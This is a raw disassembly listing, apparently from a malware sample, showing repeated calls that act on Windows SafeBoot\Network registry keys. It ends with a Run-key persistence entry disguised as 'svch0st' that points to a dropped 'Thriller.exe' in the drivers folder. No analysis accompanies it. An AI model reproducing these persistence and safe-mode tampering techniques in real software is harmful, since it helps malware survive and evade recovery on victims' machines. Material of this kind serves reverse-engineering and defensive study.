push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNdisuio_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkNetBIOS_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkNetBIOSGroup_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkNetBT_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkNetDDEGroup_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkNetlogon_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkNetMan_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkNetwork_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkNetworkProvider_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkNtLmSsp_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkPCI_Configuration_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkPlugPlay_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkPNP_Filter_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkPNP_TDI_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkPrimary_disk_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork_rdpcdd.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork_rdpdd.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork_rdpwd.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork_rdsessmgr_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkRpcSs_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkSCSI_Class_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork_sermouse.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkSharedAccess_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork_sr.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkSRService_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkStreams_Drivers_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkSystem_Bus_Extender_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkTcpip_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkTDI_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork_tdpipe.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork_tdtcp.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork_termservice_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork_vga.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork_vgasave.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkWinMgmt_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkWZCSVC_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkNdisuio_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBoot_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.C:WINDOWSSystem32DriversThriller.exe
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_svch0st
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
mov esp, ebp
pop ebp
ret